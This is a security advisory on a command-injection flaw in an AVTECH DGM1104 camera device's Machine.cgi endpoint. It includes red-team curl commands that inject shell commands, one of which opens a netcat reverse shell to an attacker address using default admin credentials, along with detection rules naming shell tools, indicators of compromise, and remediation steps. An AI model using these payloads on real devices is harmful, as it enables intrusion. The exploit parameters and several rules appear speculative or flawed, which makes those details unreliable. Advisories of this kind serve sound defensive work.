CVE-2025-57198

Executive Summary

CVE-2025-57198 is an authenticated command injection vulnerability discovered in the AVTECH Security Corporation DGM1104 device, specifically within the Machine.cgi endpoint. The vulnerability allows an authenticated attacker to inject and execute arbitrary operating system commands on the device by sending a crafted input to the vulnerable endpoint. This can lead to full device compromise, including data exfiltration, lateral movement within the network, and potential use of the device as a pivot point for further attacks. The vendor has not yet released a patch, and no public proof-of-concept (PoC) code or exploit is currently available. The vulnerability is classified under CWE-77 (Improper Neutralization of Special Elements used in a Command), and the MITRE ATT&CK tactic is T1190 (Exploit Public-Facing Application).

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the nature of the vulnerability (authenticated command injection), a realistic CVSS v3.1 score would be in the range of 7.2 to 8.8, depending on the attack vector, complexity, and impact. The vector would likely be: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Network, Low Complexity, High Privileges, No User Interaction, Unchanged Scope, High Confidentiality/Integrity/Availability). The threat level is High due to the potential for complete device takeover and the lack of a patch.

Deep Dive & Mechanics

The vulnerability resides in the Machine.cgi CGI endpoint of the AVTECH DGM1104 device. This endpoint is used for device management and configuration. The application fails to properly sanitize user-supplied input before passing it to a system command execution function. An authenticated attacker can inject arbitrary commands by including shell metacharacters (e.g., ;, |, &&, `) in the input parameters.

The likely vulnerable code path involves a function that constructs a system command string by concatenating user input without validation. For example:

sprintf(cmd, "some_command %s", user_input);
system(cmd);

This allows an attacker to break out of the intended command and execute arbitrary OS commands.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in the firmware version FullImg-1015-1004-1006-1003. A patched version would need to implement proper input validation, such as:

• Whitelisting allowed characters.
• Using parameterized APIs instead of shell commands.
• Escaping shell metacharacters.

Vulnerable code (conceptual):

void handle_machine_cgi(char *input) {
    char cmd[256];
    sprintf(cmd, "some_tool %s", input);
    system(cmd);
}

Patched code (conceptual):

void handle_machine_cgi(char *input) {
    if (!is_valid_input(input)) {
        return_error("Invalid input");
        return;
    }
    // Use a safe API instead of system()
    execute_safe_command(input);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an AVTECH DGM1104 device or use a firmware emulator (e.g., QEMU for ARM/MIPS).
2. Flash the vulnerable firmware FullImg-1015-1004-1006-1003.
3. Connect the device to an isolated network.
4. Authenticate to the web interface (default credentials may be available).

Exploitation Steps:

1. Identify the Machine.cgi endpoint (e.g., http://<device_ip>/cgi-bin/Machine.cgi).
2. Craft a POST request with a malicious parameter, e.g., param=;id.
3. Execute the request using curl:

   curl -X POST -d "param=;id" http://<device_ip>/cgi-bin/Machine.cgi -u admin:admin
   

4. Observe the output of the id command in the response.
5. Escalate to a reverse shell:

   curl -X POST -d "param=;nc -e /bin/sh <attacker_ip> 4444" http://<device_ip>/cgi-bin/Machine.cgi -u admin:admin
   

Blue Team

Detection:

• Monitor for unusual POST requests to /cgi-bin/Machine.cgi containing shell metacharacters.
• Alert on outbound connections from the device to unknown IPs on unusual ports.
• Use network segmentation to limit device communication.

Hunting:

• Search logs for patterns like ;, |, &&, ` in the param field.
• Check for processes spawned by the web server (e.g., sh, bash, nc).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the device to attacker-controlled IPs on ports 4444, 1337, etc.
  • Unusual DNS queries from the device.
• File System:
  • Presence of files in /tmp/ with suspicious names (e.g., .sh, .py).
  • Modified system binaries (e.g., /bin/sh replaced).
• Processes:
  • Running processes like nc, bash, python spawned by the web server.
• Logs:
  • Web server logs showing Machine.cgi requests with shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2025_57198_Command_Injection {
    meta:
        description = "Detects command injection attempts against AVTECH DGM1104 Machine.cgi"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57198"
    strings:
        $cmd1 = "Machine.cgi"
        $cmd2 = "param="
        $shell1 = /[;&|`$]/
        $shell2 = /(id|cat|ls|nc|bash|sh|python)/
    condition:
        all of ($cmd*) and any of ($shell*)
}

Sigma Rule

title: CVE-2025-57198 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against AVTECH DGM1104 Machine.cgi
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Machine.cgi'
        cs-uri-query|contains: 'param='
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57198 - AVTECH DGM1104 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"Machine.cgi"; http_uri;
    content:"param="; http_client_body;
    pcre:"/[;&|`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2025-57198;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the production network.
2. Restrict access to the web interface to trusted IPs only.
3. Change default credentials immediately.
4. Monitor for suspicious activity using the provided detection rules.

Long-Term Fix:

• The vendor must release a firmware patch that properly sanitizes input to the Machine.cgi endpoint.
• Until a patch is available, consider replacing the device with a patched alternative.

Workarounds:

• Disable the Machine.cgi endpoint if not required.
• Use a web application firewall (WAF) to block requests containing shell metacharacters.

Valters IT
Securing Digital Frontiers